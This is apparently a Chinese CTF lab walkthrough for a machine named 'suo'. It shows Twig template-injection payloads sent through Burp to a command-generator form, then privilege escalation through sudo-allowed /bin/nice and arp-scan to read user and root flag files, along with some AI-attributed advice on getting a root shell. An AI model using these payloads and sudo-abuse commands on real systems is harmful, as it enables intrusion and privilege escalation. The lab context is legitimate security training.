



靶机： suo 作者： 111 靶机ID:602

192.168.100.130

- ssti模板：

```
{{ ['COMMAND_HERE']|map('system')|join }}
```

1 x +

发送 取消 < > Burp AI

请求

美化 Raw Hex

1 POST / HTTP/1.1

2 Host: 192.168.100.130

3 Content-Length: 22

4 Cache-Control: max-age=0

5 Accept-Language: zh-CN,zh;q=0.9

6 Origin: http://192.168.100.130

7 Content-Type: application/x-www-form-urlencoded

8 Upgrade-Insecure-Requests: 1

9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36

10 Accept:

11 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

12 Referer: http://192.168.100.130/

13 Accept-Encoding: gzip, deflate, br

14 Connection: keep-alive

15 target=%7B%7B%7D%7D

响应

美化 Raw Hex 页面渲染

234 value="{ { 7*7 } }"

235 >

236 </div>

237 <p class="hint">

238 00000000 IP 0000000000000000

239 </p>

240 </div>

241 <button type="submit">

242 000000

243 </button>

244 </form>

245 <div class="result" id="resultBox">

246 <div class="result-label">

247 Generated Command

248 </div>

249 <button class="copy-btn" onclick="copyToClipboard(')">

250 00

251 </button>

252 <div class="result-code" id="commandText">

253 ./suo5 -t http://49/suo5.jsp

254 </div>

255 </div>

256 <div class="footer">

- 存在 ssti

```
{{ ['id']|map('system')|join }}
```

1 x +

发送 取消 < > Burp AI

请求

美化 Raw Hex

```
1 POST / HTTP/1.1
2 Host: 192.168.100.130
3 Content-Length: 38
4 Cache-Control: max-age=0
5 Accept-Language: zh-CN,zh;q=0.9
6 Origin: http://192.168.100.130
7 Content-Type: application/x-www-form-urlencoded
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Referer: http://192.168.100.130/
12 Accept-Encoding: gzip, deflate, br
13 Connection: keep-alive
14
15 Target=({ [ 'id' ] | map('system') | join })
```

响应

美化 Raw Hex 页面渲染

```
234 value="{([ [ &#039;id&#039; ] | map(&#039;system&#039; ) | join })"
235 >
236 </div>
237 <p class="hint">
238     00000000 IP 0000000000000000
239 </p>
240 </div>
241 <button type="submit">
242     000000
243 </button>
244 </form>
245 <div class="result" id="resultBox">
246     <div class="result-label">
247         Generated Command
248     </div>
249     <button class="copy-btn" onclick="copyToClipboard()">
250         00
251     </button>
252     <div class="result-code" id="commandText">
253         ./suo5 -t http://uid=101 (apache) gid=102 (apache)
254         groups=82 (www-data),102 (apache),102 (apache)
255         uid=101 (apache) gid=102 (apache)
256         groups=82 (www-data),102 (apache),102 (apache) /suo5.jsp
257     </div>
258 </div>
259
```

`{{ [ 'sudo -n -l 2>&1' ] | map('system') | join }}`

快速生成 HTTP 代理隧道连接命令

目标服务器地址

`{{ [ 'sudo -n -l 2>&1' ] | map('system') | join }}`

输入目标服务器的 IP 地址或域名，包含端口号（如果有）

生成连接命令

GENERATED COMMAND 复制

```
./suo5 -t http://Matching Defaults entries for apache on suo: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin Runas and Command-specific defaults for apache: Defaults!/usr/sbin/visudo env_keep+=\"SUDO_EDITOR EDITOR VISUAL\" User apache may run the following commands on suo: (lanyangyang) NOPASSWD: /bin/nice (lanyangyang) NOPASSWD: /bin/nice/suo5.jsp
```

(ai) nice 本身没有漏洞，但如果你能通过 nice 执行任意命令，那就等于有了 root shell!

关键看 nice 的版本和 sudo 配置：

- **GNU coreutils 版本的 nice** 允许你执行任意命令
- 如果 sudo 配置允许你执行 nice , 你就可以以 root 身份启动 shell

```
sudo /bin/nice /bin/sh
sudo /bin/nice /bin/bash
```

```
sudo -u lanyangyang /bin/nice /bin/sh -c "id; echo ---; sudo -l 2>&1; echo ---; cat /home/lanyangyang
```

- `/bin/sh -c "..."` : 执行双引号里的多条命令
- `sudo -l 2>&1` : 查看 lanyangyang 用户的 sudo 权限 (错误输出也重定向到标准输出)
- 对应 Twig:

```
{{ ['sudo -u lanyangyang /bin/nice /bin/sh -c "id; echo ---; sudo -l 2>&1; echo ---; cat /home/lan
```

目标服务器地址

```
{{ ['sudo -u lanyangyang /bin/nice /bin/sh -c "id; echo ---; sudo -l 2>&1; echo ---; cat /home/lan
```

输入目标服务器的 IP 地址或域名, 包含端口号 (如果有)

生成连接命令

GENERATED COMMAND

复制

```
./suo5 -t http://uid=1000(lanyangyang) gid=1000(lanyangyang) groups=1000(lanyangyang) --- Matching Defaults entries for lanyangyang on suo: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin Runas and Command-specific defaults for lanyangyang: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL" User lanyangyang may run the following commands on suo: (ALL) NOPASSWD: /usr/bin/arp-scan --- flag{user-da4e2b9944cf4d0389a894c8d718444f} flag{user-da4e2b9944cf4d0389a894c8d718444f}/suo5.jsp
```

```
flag{user-da4e2b9944cf4d0389a894c8d718444f}
```

- 还知道了 `/usr/bin/arp-scan` 有 root 权限

```
sudo -u lanyangyang /bin/nice sudo /usr/bin/arp-scan -v --file=/root/root.txt
```

`/bin/nice` 已经是 root 权限了，它启动的命令会在 root 权限的上下文中运行

```
{{ ['sudo -u lanyangyang /bin/nice sudo /usr/bin/arp-scan -v --file=/root/root.txt 2>&1 | sed -n "
```

| sed -n "1,8p" 只取前8行，避免输出太长被截断或触发 WAF

- 如果不截断：

代理配置生成器

快速生成 HTTP 代理隧道连接命令

目标服务器地址

{{ ['sudo -u lanyangyang /bin/nice sudo /usr/bin/arp-scan -v --file=/r

输入目标服务器的 IP 地址或域名，包含端口号（如果有）

生成连接命令

GENERATED COMMAND

复制

错误: Unclosed "[" in "dynamic" at line 1.

- 截断：

代理配置生成器

快速生成 HTTP 代理隧道连接命令

目标服务器地址

```
{{ [sudo -u lanyangyang /bin/nice sudo /usr/bin/arp-scan -v --file=/r
```

输入目标服务器的 IP 地址或域名，包含端口号（如果有）

生成连接命令

GENERATED COMMAND

复制

```
./suo5 -t http://Interface: eth0, type: EN10MB, MAC:
00:0c:29:fd:cc:e3, IPv4: 192.168.100.130 WARNING: ge
t_host_address failed for "flag{root-8438726c502a452
d997ba300afac30fe}": Try again - target ignored ERRO
R: No hosts to process. ERROR: No hosts to process./
suo5.jsp
```

flag{root-8438726c502a452d997ba300afac30fe}